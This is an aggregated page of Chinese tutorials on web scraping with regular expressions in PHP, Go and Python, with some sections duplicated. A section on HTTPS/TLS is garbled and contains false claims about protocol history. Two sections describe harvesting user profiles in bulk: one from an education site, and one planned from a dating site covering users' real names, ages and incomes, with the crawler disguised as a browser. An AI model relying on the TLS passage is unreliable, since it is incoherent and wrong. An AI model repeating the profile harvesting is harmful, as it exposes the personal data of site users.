php正则函数抓取网页连接(正则表达式能匹配复杂的字符串形式，可以实现非常复杂的匹配)
　　正则表达式可以匹配复杂的字符串形式，功能比字符串处理函数多，但执行效率降低，但可以实现非常复杂的匹配。下面总结一下
　　1、简单字符串匹配判断指定字符串是否在另一个字符串中，类似字符串搜索功能
　　1 $p = ‘/苹果/‘;
2 $str = "我喜欢吃苹果和香蕉";
3 if (preg_match($p, $str)) {
4 echo ‘匹配成功！‘;
5 }else{
6 echo "匹配失败！";
7 }
　　可以看出，preg_match()函数是用来匹配正则表达式的。参数是表达式（匹配规则）和原创字符串。这是最简单的正则表达式。
　　2、忽略大小写匹配
　　1 $p = ‘/bbc/i‘;
2 $str = "BBC是英国的一个电视台";
3 if (preg_match($p, $str)) {
4 echo ‘匹配成功！‘;
5 }
　　可以看到，这也是一次成功的匹配。在表达式后添加 i 意味着忽略匹配的大小写。
　　3、字符串中常用的正则匹配数据（电话号码、姓名、电子邮件、HTML数据）
　　 1 //匹配电话号码
2 $p = ‘/\d+\-\d+/‘;
3 $str = "我的电话是010-12345678";
4 preg_match($p, $str, $match);
5 echo $match[0];
6 echo "<br />";
7 //匹配姓名
8 $p = ‘/[\w\s+]:([\w\s]+)/‘;
9 $str = "name:zengzhiying";
10 preg_match($p, $str, $match);
11 echo $match[1];
12 echo "<br />";
13 //匹配邮箱地址
14 $subject = "my email is yingzhi_zeng@126.com";
15 $pattern=‘/\w+@\w+\.\w+$/‘;
16 preg_match($pattern,$subject,$mathes);
17 echo $mathes[0];
18 echo "<br />";
19 //匹配HTML数据
20 $str = "
21 item 1
22 item 2
23 ";
24 $p=‘/(.*?)/i‘;
25 preg_match_all($p,$str,$matches);
26 print_r($matches[1]);
　　这里preg_match()函数的第三个参数是匹配得到的结果，是一个数组。如果不知道要找到$match的哪个元素，可以先试试print_r，再判断最终结果。
　　4、从抓取的网页中获取具体数据
　　有时我们需要抓取其他网站的特定数据，首先我们抓取整个页面的html内容，然后把它们放到一个字符串中，然后我们想要获取其中一个元素，这时候，一个正则匹配需要表达式。我们来看一个案例。我们在登录网站时，一般除了提交用户名、密码、验证码等数据外，还有一个隐藏字段。值中有一个段落。很长的字符串会随着不同的客户端而变化。这是为了防止一些非法操作。如果这是我们捕获此数据的唯一方法，我们可以在服务器端模拟登录并捕获用户。登录后的内容可以通过php中用curl发送请求来实现。现在它只获取 value 属性的值。代码如下：
　　1 $data="";
2 $pattern = ‘//is‘;
3 preg_match_all($pattern, $data, $matches);
4 echo $matches[1][0];
　　这样我们就输出了具体的数据，也就是shssksswHJFJNVjsuehdj28u3uej-9wj
　　5、验证数据不能为空
　　有时用户输入的信息是通过get或post获取的。首先，我们必须确保变量不能为空值。这可以通过使用空的 php 内置函数来完成。下面是一个简单的函数
　　1 function Noempty($user){
2 if(empty($user)){
3 $ret=0;
4 }else{
5 $ret=1;
6 }
7 return $ret;
8 }
　　我们可以使用其他值作为返回值。总之，方便我们使用。可作为判断或输出信息。
　　6、验证电子邮件格式
　　1 function EmailVer($email){
2 $pattern=‘/^[\w\.]+@\w+\.\w+$/i‘;
3 if(!preg_match($pattern, $email)) {
4 $ret=0;
5 }else {
6 $ret=1;
7 }
8 return $ret;
9 }
　　7、验证电话号码
　　1 function MobileVer($mobile) {
2 $pattern=‘/^1\d{10}$/i‘;
3 if(!preg_match($pattern, $mobile) {
4 $ret=0;
5 }else {
6 $ret=1;
7 }
8 return $ret;
9 }
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　　php正则函数抓取网页连接(分析慕课网有哪些页面，慕课网是一个在线教育的学习网站)
　　下面我们来分析一下的哪些页面是在线教育学习网站，网站的结构不会很复杂，我给大家整理好了，MOOC主要由以下几类组成页数：
　　其他页面与我们的采集信息无关，我们暂时不用看，我们重点关注个人信息页面，可以看到个人信息页面的显示为如下：
　　
　　个人信息页面
　　我们要采集的信息都集中在这个页面上。为了学习，我们简单采集以下字段：用户头像、用户名、用户性别、学习时间、积分、经验、关注人数、关注人数、用户url页面。我们将数据存储在 MySQL 中。首先，我们需要设计一个数据表。我使用 phpmyadmin 直接直观地创建数据表。现在我们将列出用于创建表的 SQL 语句。可以直接参考：
　　
　　sql语句
　　正在学习的童鞋可以直接复制sql语句。接下来我们分析一下上面字段的xpath，打开谷歌浏览器，打开任意用户的个人信息，然后打开谷歌的控制台（快捷键F12），如下图：
　　
　　谷歌 xpath 快捷方式教程
　　如上图，给出了使用谷歌浏览器快速编写Xpath节点的教程。我们将所有的 Xpath 整理如下：
　　
　　路径
　　接下来是重头戏。下面我们来学习爬虫框架phpSpider。使用 phpSpider 不需要任何 php 知识或底层 php 是如何实现的。我们只需要一个配置文件就可以完成整个爬取过程。先附上phpSpider的文档地址，中文门户：. 使用三个步骤完成整个框架：
　　我们先看官网给出的简单demo：
　　
　　官网演示
　　可以看到name是爬虫的名字，domains是要成为采集的域名，scan_urls是实际的url种子，content_url_regexes是目标页面的正则url，list_url_regexes是列表列的url （如果没有列表页，不需要做）配置，配置这个项目可以加快采集速度），export表示到处都是格式，这里是mysql数据库（支持直接到处csv，可以官网查看），表名为imooc，fields表示要采集字段，例如：
　　
　　字段示例
　　name表示存储在数据库中的字段，selector表示字段的Xpath（也可以是正则的，可以看官网文档），required表示该字段是必填的，不能为空，更多的字段可以找到官网看文档，看到这里可以看到我们在写我们的MOOC爬虫，已经整理出来了，如下：
　　
　　MOOC 爬行动物
　　嗯，快到了。我们上面做了一个流程，重写了spider的on_extract_field函数，表示当我们的字段为url时，我们将其值改为页面的url，当然记得配置下载数据库的链接地址。如果你有redis，你也应该顺便配置一下。Redis和多任务可以大大加快采集速度，1M网速，1核Cpu，1G内存，1小时可以采集10万条信息（php真的是最好的语言，呵呵）。配置数据库的文件是config/inc_config.php，打开就清楚了，如下图：
　　
　　数据库配置
　　嗯，采集采集了10万条数据，用了将近一个小时。有兴趣的童鞋可以尝试用php来“偷”MOOC网络的信息，感受一下世​​界上最好的语言（默默微笑），其实我对语言没有偏见，世界上没有最好的语言，只有最适合的语言，每种语言都有它的优点，当然也有缺点。如果你真的学好一门语言，就像金庸小说里的一样，每一根草都会伤到一个人。采集 的教程就快到这里了。下次我会完善这个爬虫，挖掘一些有用的东西，比如文本分析、聚类分析、未来热门职业预测、不同城市IT发展等。学习儿童
　　当然，代码已经在github上开源了。有兴趣的童鞋可以发一星：
　　处于新手阶段，点击和关注将是更新和更高质量内容的动力。 查看全部

　　php正则函数抓取网页连接(正则表达式能匹配复杂的字符串形式，执行效率有所降低)
　　正则表达式可以匹配复杂的字符串形式，功能比字符串处理函数多，但执行效率降低，但可以实现非常复杂的匹配。下面总结一下
　　1、简单字符串匹配判断指定字符串是否在另一个字符串中，类似字符串搜索功能
　　1 $p = ‘/苹果/‘;
2 $str = "我喜欢吃苹果和香蕉";
3 if (preg_match($p, $str)) {
4 echo ‘匹配成功！‘;
5 }else{
6 echo "匹配失败！";
7 }
　　可以看出，preg_match()函数是用来匹配正则表达式的。参数是表达式（匹配规则）和原创字符串。这是最简单的正则表达式。
　　2、忽略大小写匹配
　　1 $p = ‘/bbc/i‘;
2 $str = "BBC是英国的一个电视台";
3 if (preg_match($p, $str)) {
4 echo ‘匹配成功！‘;
5 }
　　可以看到，这也是一次成功的匹配。在表达式后添加 i 意味着忽略匹配的大小写。
　　3、字符串中常用的正则匹配数据（电话号码、姓名、电子邮件、HTML数据）
　　 1 //匹配电话号码
2 $p = ‘/\d+\-\d+/‘;
3 $str = "我的电话是010-12345678";
4 preg_match($p, $str, $match);
5 echo $match[0];
6 echo "<br />";
7 //匹配姓名
8 $p = ‘/[\w\s+]:([\w\s]+)/‘;
9 $str = "name:zengzhiying";
10 preg_match($p, $str, $match);
11 echo $match[1];
12 echo "<br />";
13 //匹配邮箱地址
14 $subject = "my email is yingzhi_zeng@126.com";
15 $pattern=‘/\w+@\w+\.\w+$/‘;
16 preg_match($pattern,$subject,$mathes);
17 echo $mathes[0];
18 echo "<br />";
19 //匹配HTML数据
20 $str = "
21 item 1
22 item 2
23 ";
24 $p=‘/(.*?)/i‘;
25 preg_match_all($p,$str,$matches);
26 print_r($matches[1]);
　　这里preg_match()函数的第三个参数是匹配得到的结果，是一个数组。如果不知道要找$match的哪个元素，可以先试试print_r，再判断最终结果
　　4、从抓取的网页中获取具体数据
　　有时我们需要抓取其他网站的特定数据，首先我们抓取整个页面的html内容，然后把它们放到一个字符串中，然后我们要抓取其中一个元素，这时候一个正则匹配需要表达式。我们来看一个案例。我们在登录网站时，一般除了提交用户名、密码、验证码等数据外，还有一个隐藏字段。值中有一个段落。很长的字符串会随着不同的客户端而变化。这是为了防止一些非法操作。如果这是我们捕获此数据的唯一方法，我们可以在服务器端模拟登录并捕获用户。登录后的内容可以通过在php中用curl发送请求来实现。现在它只获取 value 属性的值。代码如下：
　　1 $data="";
2 $pattern = ‘//is‘;
3 preg_match_all($pattern, $data, $matches);
4 echo $matches[1][0];
　　这样我们就输出了具体的数据，也就是shssksswHJFJNVjsuehdj28u3uej-9wj
　　5、验证数据不能为空
　　有时用户输入的信息是通过get或post获取的。首先，我们必须确保变量不能为空值。这可以通过使用空的 php 内置函数来完成。下面是一个简单的函数
　　1 function Noempty($user){
2 if(empty($user)){
3 $ret=0;
4 }else{
5 $ret=1;
6 }
7 return $ret;
8 }
　　我们可以使用其他值作为返回值。总之，方便我们使用。可作为判断或输出信息。
　　6、验证电子邮件格式
　　1 function EmailVer($email){
2 $pattern=‘/^[\w\.]+@\w+\.\w+$/i‘;
3 if(!preg_match($pattern, $email)) {
4 $ret=0;
5 }else {
6 $ret=1;
7 }
8 return $ret;
9 }
　　7、验证电话号码
　　1 function MobileVer($mobile) {
2 $pattern=‘/^1\d{10}$/i‘;
3 if(!preg_match($pattern, $mobile) {
4 $ret=0;
5 }else {
6 $ret=1;
7 }
8 return $ret;
9 }
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　　php中正则表达式的匹配和数据校验总结
　　原版的： 查看全部

　　php正则函数抓取网页连接(
示例：在字符串1000abcd123中找出前后两个数字。例子)
　　
　　示例：查找字符串 1000abcd123 前后的两个数字。
　　示例1：匹配此字符串的示例
　　package main

import(
"fmt"
"regexp"
)

var digitsRegexp = regexp.MustCompile(`(\d+)\D+(\d+)`)

func main(){
someString:="1000abcd123"
fmt.Println(digitsRegexp.FindStringSubmatch(someString))
}
　　以上代码输出：
　　[1000abcd123 1000 123]
　　示例 2：使用命名正则表达式
　　package main

import(
"fmt"
"regexp"
)

var myExp=regexp.MustCompile(`(?P\d+)\.(\d+).(?P\d+)`)

func main(){
fmt.Printf("%+v",myExp.FindStringSubmatch("1234.5678.9"))
}
　　以上代码输出，所有匹配均输出：
　　[1234.5678.9 1234 5678 9]
　　这里的命名捕获组（?P）命名正则表达式的方式是python和Go语言特有的，以及java和c#的（？）命名方式。
　　例子3：扩展一个正则表达式类，用一个方法来获取所有的命名信息并使用它。
　　package main

import(
"fmt"
"regexp"
)

//embed regexp.Regexp in a new type so we can extend it
type myRegexp struct{
*regexp.Regexp
}

//add a new method to our new regular expression type
func(r *myRegexp)FindStringSubmatchMap(s string) map[string]string{
captures:=make(map[string]string)

match:=r.FindStringSubmatch(s)
if match==nil{
return captures
}

for i,name:=range r.SubexpNames(){
//Ignore the whole regexp match and unnamed groups
if i==0||name==""{
continue
}

captures[name]=match[i]

}
return captures
}

//an example regular expression
var myExp=myRegexp{regexp.MustCompile(`(?P\d+)\.(\d+).(?P\d+)`)}

func main(){
mmap:=myExp.FindStringSubmatchMap("1234.5678.9")
ww:=mmap["first"]
fmt.Println(mmap)
fmt.Println(ww)
}
　　以上代码的输出：
　　map[first:1234 second:9]

1234
　　例4，抓取限号信息，记录在Map中。
　　package main

import(
"fmt"
iconv "github.com/djimenez/iconv-go"
"io/ioutil"
"net/http"
"os"
"regexp"
)

// embed regexp.Regexp in a new type so we can extend it
type myRegexp struct{
*regexp.Regexp
}

// add a new method to our new regular expression type
func(r *myRegexp)FindStringSubmatchMap(s string)[](map[string]string){
captures:=make([](map[string]string),0)

matches:=r.FindAllStringSubmatch(s,-1)

if matches==nil{
return captures
}

names:=r.SubexpNames()

for _,match:=range matches{

cmap:=make(map[string]string)

for pos,val:=range match{
name:=names[pos]
if name==""{
continue
}

/*
fmt.Println("+++++++++")
fmt.Println(name)
fmt.Println(val)
*/
cmap[name]=val
}

captures=append(captures,cmap)

}

return captures
}

// 抓取限号信息的正则表达式
var myExp=myRegexp{regexp.MustCompile(`自(?P[\d]{4})年(?P[\d]{1,2})月(?P[\d]{1,2})日至(?P[\d]{4})年(?P[\d]{1,2})月(?P[\d]{1,2})日，星期一至星期五限行机动车车牌尾号分别为：(?P[\d])和(?P[\d])、(?P[\d])和(?P[\d])、(?P[\d])和(?P[\d])、(?P[\d])和(?P[\d])、(?P[\d])和(?P[\d])`)}

func ErrorAndExit(err error){
fmt.Fprintln(os.Stderr,err)
os.Exit(1)
}

func main(){
response,err:=http.Get("http://www.bjjtgl.gov.cn/zhuan ... 6quot;)
defer response.Body.Close()

if err!=nil{
ErrorAndExit(err)
}

input,err:=ioutil.ReadAll(response.Body)
if err!=nil{
ErrorAndExit(err)
}
body :=make([]byte,len(input))
iconv.Convert(input,body,"gb2312","utf-8")

mmap:=myExp.FindStringSubmatchMap(string(body))

fmt.Println(mmap)
}
　　以上代码输出：
　　[map[n32:0 n22:9 emonth:7 n11:3 n41:1 n21:4 n52:7 bmonth:4 n51:2 bday:9 n42:6 byear:2012 eday:7 eyear:2012 n12:8 n31:5]
map[emonth:10 n41:5 n52:6 n31:4 byear:2012 n51:1 eyear:2012 n32:9 bmonth:7 n22:8 bday:8 n11:2 eday:6 n42:0 n21:3 n12:7]
map[bday:7 n51:5 n22:7 n31:3 eday:5 n32:8 byear:2012 bmonth:10 emonth:1 eyear:2013 n11:1 n12:6 n52:0 n21:2 n42:9 n41:4]
map[eyear:2013 byear:2013 n22:6 eday:10 bmonth:1 n41:3 n32:7 n31:2 n21:1 n11:5 bday:6 n12:0 n51:4 n42:8 emonth:4 n52:9]]
　　更多go语言知识，请关注PHP中文网站go语言教程专栏。
　　以上是Go语言使用正则表达式提取网页文本的详细内容。更多详情请关注php中文网其他相关话题文章！
　　
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　　php正则函数抓取网页连接(dosprint-server-http/1.1200okselector-javascript-request-get请求头格式必须是:get/username=xxxxemail)
　　php正则函数抓取网页连接之后进行post请求发送请求。将响应代码放入header中以发送给浏览器(把响应变成json或xml等格式)。dosprint-server-http/1.1200okselector-javascript-request-get请求头格式必须是:get/username=xxxxemail=xxxxfrompagetopage包含以下几个参数之一：usernamefrompage.to_pointfrompage.contentfrompage.location请求响应头dosprint-server-http/1.1200okselector-javascript-request-get。
　　https
　　你有没有想过，
　　一定是frompagetopage，
　　可以看看这篇，
　　不同于http协议，https协议又被称为sslovertls，意为：sslvulnerabilitiesthatneedtobesetathttpstime。传统的http(请求/响应)通常使用ssl(securesocketlayer/安全套接字层)协议。然而，tls在2011年被推出并被广泛用于https协议。
　　这是因为，如果服务器请求https而客户端在没有明确传达连接到https的通信的时候，客户端就自动开启https请求。客户端https将请求传送给服务器，这样服务器将返回一个tls验证请求。通过验证请求，服务器就可以确认客户端的身份，并从tls中用你的身份做tls认证。你拥有了一个超安全且又高效的web应用，同时浏览也很方便。
　　不过tls的低延迟在一定程度上限制了客户端开启tls的速度。随着tls已被广泛应用到ssl层的各个层面，实现高效、安全和高保真的认证是一个挑战。同时，推动发展可扩展的tls并提供高吞吐率和可靠性等目标也是关键。在2017年3月，第一次推出httpstls1.0协议。此版本通过覆盖tls1.0所需的漏洞以及补丁并部署到所有浏览器中，标志着当今可用于https应用的tls1.0协议完成。
　　https的主要目标之一是便于持久化。虽然所有web应用都支持https，但大多数应用仍在使用http和json作为输入或反馈通信。这不够好，通常由于很多浏览器，特别是ie，仅使用http而忽略了tls协议。如果应用服务器支持https协议，你就可以在不注明https的情况下保持联系，并且你希望通过https来更好地隐藏对非http协议的访问。
　　通过使用ssl加密，你可以确保你在不暴露明文身份的情况下实现web应用。https来源https的基本原理包括以下几个阶段：第一阶段：通过ssl(securesocketlayer/安全套接字层)进行安全握手，确保两方的服务器和客户端有连接。如果一方的服务器没有完成握手，那么他们并不知道对方服务器的完整身。 查看全部

　　php正则函数抓取网页连接(爬虫与爬虫的前端知识介绍及前端应用知识分析介绍)
　　内容
　　一、爬虫和爬虫的合法性
　　Python爬虫可能大家都知道，但是爬虫所做的，用我自己的话来说，就是把数据取出来供自己使用。这里的数据是指互联网上的资源，比如百度上发布的网站信息你可以得到。爬虫通常有三种方法：正则表达式、bs4和xpath
　　这里涉及到爬虫的合法性。我认为在目前的学习阶段，你能爬取的数据都是在后台显示的，所以不会出现非法问题。爬虫的目的是为了方便你更快的取出这些数据，整合在一起。就像我以前学爬虫的时候看到很多梗一样，我说爬虫很好，监狱里能吃的都吃。我可能还没有达到那么高的水平哈哈。
　　二、请求模块
　　在写爬虫之前，我们先来了解一些关键步骤。如上所述，如果你想在互联网上获取一些资源，你必须打开网页。如果要爬取百度资源，必须先在编译器中打开百度，然后操作。requests 模块的功能在这里。我们可以使用requests来实现python对http请求的操作。先来看看下面这个小爬虫（资源1day）
　　import requests
url = "http://www.baidu.com"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
response = requests.get(url=url,headers=headers)
page_text = response.text
with open("my_baidu.html",mode = "w",encoding="utf-8") as f:
f.write(page_text) #读取到网页的源代码
print("over")
　　使用 requests.get() 方法获取一个 URL，然后使用 response.text 获取 URL 的内容，最后将内容写入你的文件夹。这是一个爬百度初始页面的小爬虫
　　这里还有另一个问题。我们发现我们使用了headers={}，这是一个简单的反爬措施，让爬虫伪装成浏览器。头在哪里找，打开你使用的浏览器页面勾选，随便在网络中打开一个名字，在底部就可以找到
　　
　　三、前端知识介绍
　　爬虫爬取内容时，需要一些前端知识。你会发现页面也是人写的，是通过各种html、css、js等语法写的。我们看到的页面的所有内容都可以在一个地方看到。这时候只需要在页面上点右键打开勾选或者查看页面源码，就可以看到页面的源码，页面中的所有内容都可以在里面找到。我们爬取的内容也需要从这里找到。
　　
　　
　　
　　关于相关的前端知识，在我的博客中有对html的详细解释。详情请参考​​​​​​​html basics_hxiaogang2021的博客-CSDN博客
　　四、客户端渲染和服务器渲染
　　爬虫中的这个概念是两个非常重要的概念，你甚至每次爬取数据都会用到它。
　　1.服务器渲染
在服务器那边直接把数据和html整合在一起，统一返回浏览器
在页面原代码可以看到数据
2.客户端渲染
第一次请求只要一个html框架，第二次请求拿到数据，进行数据展示(要数据)
在页面源代码中看不到数据
　　比如有的页面，页面的源码会直接显示你需要的数据，你可以直接爬取，这是服务端渲染，有的数据打开相关页面后会有一个链接，然后跳转到另一个页面，而爬取数据时，需要使用两个或多个爬虫，一步一步爬取数据。
　　五、正则表达式
　　我们都在python的基础上学过正则表达式。事实上，正则表达式是一种比较麻烦的方法。我对正则表达式的一些个人总结也在我的资源中。
　　在页面的源码中，你会发现很多标签，而这些标签是不需要的，我们只需要里面的文字，我们需要使用正则表达式来提取文字，我们这里抓取的是豆瓣电影电影TOP250的名字。
　　分析发现，在页面的源码中，我们可以看到电影名在li标签后面，以span标签结尾，我们可以使用正则表达式中文.*? 提取文本（2天）
　　
　　​​​
　　import requests
import re
url = "https://movie.douban.com/top250"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
resp = requests.get(url,headers = headers)
# print(resp.text) #检查反爬
page_content = resp.text
#解析数据
obj = re.compile(r&#39;.*?.*?(?P.*?)&#39;,re.S)
result = obj.finditer(page_content)
for i in result:
print(i.group("name"))
　　通过这个方法，我们不仅可以提取里面的名字，还可以爬出拍摄年份、收视率和收视人数，还可以把爬出来的东西写成excel文件
　　import requests
import re
import csv
url = "https://movie.douban.com/top250"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
}
resp = requests.get(url,headers = headers)
page_content = resp.text
#解析数据
obj = re.compile(r&#39;.*?.*?(?P.*?)&#39;
r&#39;.*?<p class="">.*?
.*?(?P.*?)&nbsp.*?(?P.*?).*?&#39;
r&#39;(?P.*?)人评价&#39;,re.S)
result = obj.finditer(page_content)
f = open("3.1day.csv",mode="w",encoding="gbk",newline="")
csvwriter = csv.writer(f)
for it in result:
dic = it.groupdict()
dic["year"] = dic["year"].strip()
csvwriter.writerow(dic.values())
f.close()
print("over")
　　六、BS4
　　在使用bs4的时候，还需要下载一个叫bs4的模块，可以在bs4中调用一个叫beautifulsoup的方法
　　我们知道页面是由前端的各种标签和内容组成的。bs4可以通过定位标签的内容来爬取数据。原理是实例化一个BeautifulSoup对象，给对象添加页面源码，调用BeautifulSoup方法进行标签定位和数据提取
　　bs4方法soup.TageName返回第一次出现的tagname对应的标签
　　汤.find("div")
　　同上
　　汤.find("div",class_ = "song")
　　属性定位
　　汤.find_all("div")
　　返回所有 div 标签并返回一个列表
　　汤.select(" &gt; ")
　　&gt; 表示层次结构
　　汤.select(".tang&gt;ul a")
　　. 表示上层空间表示多层
　　获取标签中的文本数据
　　汤.a.text/string/get_text()
　　汤.select(".tang&gt;ul a")[0].text()
　　text/get_text() 获取所有内容
　　字符串获取即时内容
　　例子
　　《三国志》各章的标题和内容都爬到这里了（3天）
　　https://www.shicimingju.com/book/sanguoyanyi.html
　　我们发现通过attribute定位后，title的名字都在li标签下，可以通过attribute name&gt;ul&gt;li（标签名）定位
　　
　　import requests
from bs4 import BeautifulSoup
url = "https://www.shicimingju.com/bo ... ot%3B
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55"
}
page_text = requests.get(url=url,headers=headers).text
#实例化BeatifulSoup对象，将页面源代码数据加载到该对象中
soup = BeautifulSoup(page_text,"lxml")
#定位内容标签
li_list = soup.select(".book-mulu > ul > li")
fp = open("sanguo","w",encoding="utf-8-sig",errors="ignore")
for i in li_list:
title = i.a.string
　　但是在这之后，我们发现了一个问题。我们得到的a标签无法爬取三国演义的内容，导致前面提到的客户端渲染。我们必须向 href 中的详细信息页面发出另一个请求。解析出章节的内容
　　for i in li_list:
title = i.a.string
#详情页的网址 用拼接的方法
detail_url = "https://www.shicimingju.com/" + i.a["href"]
#对详情页发起请求
detail_page_text = requests.get(url=detail_url,headers=headers).text.encode("ISO-8859-1")
detail_soup = BeautifulSoup(detail_page_text,"lxml")
#在详情页中发起定位
div_tag = detail_soup.find("div",class_="chapter_content")
content = div_tag.text
fp.write(title + ":" + content + "/n")
print(title,"over")
　　这样，所有爬取的内容都可以写入我们之前创建的文件中
　　七、xpath
　　Xpath是我们最常用也最方便高效的解析方式
　　xpath的使用需要下载一个lxml模块，在lxml中实例化一个etree对象，并将解析对象的页面源数据加载到该对象中，然后在etree对象中调用xpath表达式定位标签和内容抓取
　　xpath 表达式
　　从根节点定位表示层次结构
　　/
　　代表多个级别，从任何位置定位
　　//
　　属性定位
　　//div[@class="song"] 标签[@attrname="attrvalue"]
　　索引定位
　　//div[@class="song"]/p[3]
　　获取文本
　　/../../text()[0] 立即获取
　　获取所有不直接相关的文本内容
　　//文本（）
　　取属性
　　//div/img/@attrname //img/scr
　　例子
　　抓取百度美图（4天）
　　#导入模块
import requests
import os
from lxml import etree
url = &#39;https://pic.netbian.com/4kmeinv/&#39; #获取页面网址
#简单的反爬，使用headers将爬虫伪装起来
headers = {
&#39;User-Agent&#39;:&#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62&#39;
}
response = requests.get(url=url,headers=headers)#使用request.get方法获取html页面
page_text = response.text #获取html页面中的文本内容
tree = etree.HTML(page_text) #调用HTML类对HTML文本进行初始化，成功构造XPath解析对象
#利用os模块创建文件
if not os.path.exists("F:\python\爬虫\debug"):
os.mkdir("F:\python\爬虫\debug")
　　前面的请求都是一样的，不同的是 tree = etree.HTML(page_text) 这里实例化了一个etree对象，将需要解析的页面源代码加载到该对象中。
　　我们还导入了os模块创建文件，查看文件夹中是否有这个文件，有的话就保留，没有的话就创建，里面所有的文件路径都是我自己的文件路径
　　然后调用xpath方法定位，我们从最后一个div标签开始到ul标签再到li标签
　　
　　
li_list = tree.xpath(&#39;//div[@class="slist"]/ul/li&#39;)
for li in li_list :
img_src = &#39;http://pic.netbian.com&#39; + li.xpath(&#39;./a/img/@src&#39;)[0] #在li标签下再次定位到图片
img_name = li.xpath(&#39;./a/img/@alt&#39;)[0] + &#39;jpg&#39;
img_name = img_name.encode(&#39;iso-8859-1&#39;).decode(&#39;gbk&#39;) #获取图片名称
img_data = requests.get(url=img_src,headers=headers).content #爬取图片
img_path =&#39;F:\\python\\爬虫\\debug\\&#39;+img_name #获取图片路径
with open(img_path,&#39;wb&#39;) as fp: #将爬取到的图片写入文件夹
fp.write(img_data)
print(img_name,&#39;over&#39;)
　　最后通过写文件的方法，可以将爬取的文件写入之前创建的文件夹
　　八、总结
　　学了一个学期python，我的课程设计是爬百度图片，也就是最后的xpath爬取。我觉得python爬虫也比较有趣也比较难，后面的内容也需要很多我觉得这篇文章也很笼统。学习爬虫需要很多东西。后面也会讲一些单独的内容，希望大家多多指正。 查看全部

　　php正则函数抓取网页连接(世纪佳缘网应用python伪装成自动登陆世纪网)
　　(2)应用python伪装成浏览器自动登录佳园网，并添加变量打开多个网页。(3)通过python的urllib2函数获取佳园网源码。
　　(4)用正则表达式分析源码，找到需要的信息并导入excel。
　　(5)连接数据库，将爬升的数据存入数据库。
　　1.此编程设计应满足的3个要求
　　1、为特定爬取特定数据网站;
　　2、 实现代码并得到结果；
　　3、能够连接数据库，将爬升的数据存储在数据库中。
　　4、将爬升的数据存储在excel中，方便编辑。
　　2 程序设计
　　2.1 爬取方案
　　以佳源网为例，要爬取的数据是在佳源网注册的人的用户名、真实姓名、性别、年龄、学历、月收入。
　　爬虫的主要处理对象是URL。它根据 URL 地址获取所需的文件内容，然后进一步处理。因此，准确理解 URL 对于理解网络爬虫至关重要。
　　URL 是 URI 的子集。它是Uniform Resource Locator的缩写，翻译为“统一资源定位器”。
　　通俗的讲，URL是描述Internet上信息资源的字符串，主要用于各种WWW客户端程序和服务器程序中。使用 URL 可以使用统一的格式来描述各种信息资源，包括文件、服务器地址和目录。URL的格式由三部分组成：
　　①第一部分是协议（或服务模式）。
　　②第二部分是存储资源的主机的IP地址（有时还包括端口号）。
　　③ 第三部分是宿主资源的具体地址，如目录、文件名等。
　　第一部分和第二部分用“://”符号分隔，
　　第二部分和第三部分用“/”符号分隔。
　　第一部分和第二部分缺一不可，第三部分有时可以省略。
　　Python可以使用urllib或者urllib2函数来获取网页的源代码，非常方便快捷。代码如下：import urllib2
　　回应 =
　　html = response.read()
　　打印html
　　2.1.3 应用python伪装成浏览器自动登录佳缘网，并添加变量打开多个网页。
　　有了源码就可以爬取数据了，但是因为佳源网最近改版了，简单的爬虫程序已经不能爬取整个网页了。因此，在获取数据之前，需要对爬虫进行伪装，使其成为浏览器，实现全网页 查看全部

　　php正则函数抓取网页连接(
这是小白我第一次写博客，也是第一次了首页的部分URL（CSDN自行忽略…）)
　　使用正则表达式和urllib库实现CSDN爬取
　　这是我第一次给小白写博客，也是第一次写爬虫。我爬取了CSDN主页的一些网址（CSDN自己忽略了...）。简单记录一下过程。
　　重新图书馆
　　re 库（正则表达式）是一个非常有用的模块，用于在 python3 中匹配文本。以下是re的使用规范。
　　
　　
　　
　　另外一个很重要的就是区分正则表达式中的()、[]、{}及其作用。关联：
　　源网络，使用 urllib.requests
　　url.requests 为python提供了比较完善的网页内容爬取功能。
　　url.requests.Requests(URL, data) 可以向 URL网站 发送请求，数据作为请求的头部内容发送。参数还有很多，不知道怎么用，就不多说了。url.requests.urlopen(respond)用于读取网站返回的内容，但是返回格式是http.client.HTTPResponse，所以我们需要使用read()方法读取url.requests.urlopen （回应）内容。但同时，我们还需要对读取的内容进行解码。大多数编码形式都是“utf-8”，但也有个别情况。在这种情况下，可以使用 python chardet 库来检测和确定编码格式。
　　respond = urllib.request.Request(targetUrl)
respond = urllib.request.urlopen(respond) # http.client.HTTPResponse
content = respond.read()
content = content.decode("utf-8")
　　最后部分
　　为了把爬取的内容放到txt文件中，我使用open函数来实现这个功能。
　　预定义：
　　import re
import urllib.request
url = "https://blog.csdn.net/nav/python"
href = open("href", "w+")
html = open("html", "r")
　　之后找到正确的URL地址，发现大部分都是
　　这是我们想要的 URL，所以我们可以将正则表达式写为 'https?: ///\w+?/article/details/[0-9]+'
　　def get_href(html):
content = html.read()
link = re.compile(r'https?:\/\/blog.csdn.net\/\w+?\/article\/details\/[0-9]+').findall(content)
for i in link:
href.write(i)
href.write("\n")
return href
　　re.conpile() 函数用于定义正则表达式的匹配格式，从而匹配爬取的html中想要的URL。fillall() 函数遍历整个 html 并搜索所有成功匹配的内容。
　　最终代码
　　import re
import urllib.request
url = "https://blog.csdn.net/nav/python"
href = open("href", "w+")
html = open("html", "r")
def get_href(html):
content = html.read()
link = re.compile(r'https?:\/\/blog.csdn.net\/\w+?\/article\/details\/[0-9]+').findall(content)
for i in link:
href.write(i)
href.write("\n")
return href
get_href(html)
def clear_href():
href = open("href", "r+")
list = []
content = href.read()
content = content.split("\n")
for i in content:
if i not in list:
list.append(i)
for i in list:
href1.write(i+"\n")
return href1
clear_href()
　　这是所有最终代码。用不了多少时间，就简单记录一下，方便以后回忆，也希望别人能从中受益。 查看全部

